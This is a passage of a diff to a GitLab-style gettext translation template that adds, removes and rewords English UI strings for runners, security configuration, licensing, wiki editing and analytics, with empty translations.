+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28408,10 +28147,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,7 +29193,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30548,9 +30332,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,7 +31415,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32194,6 +31993,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,10 +32372,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,7 +32792,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -35905,9 +35707,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36010,7 +35812,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
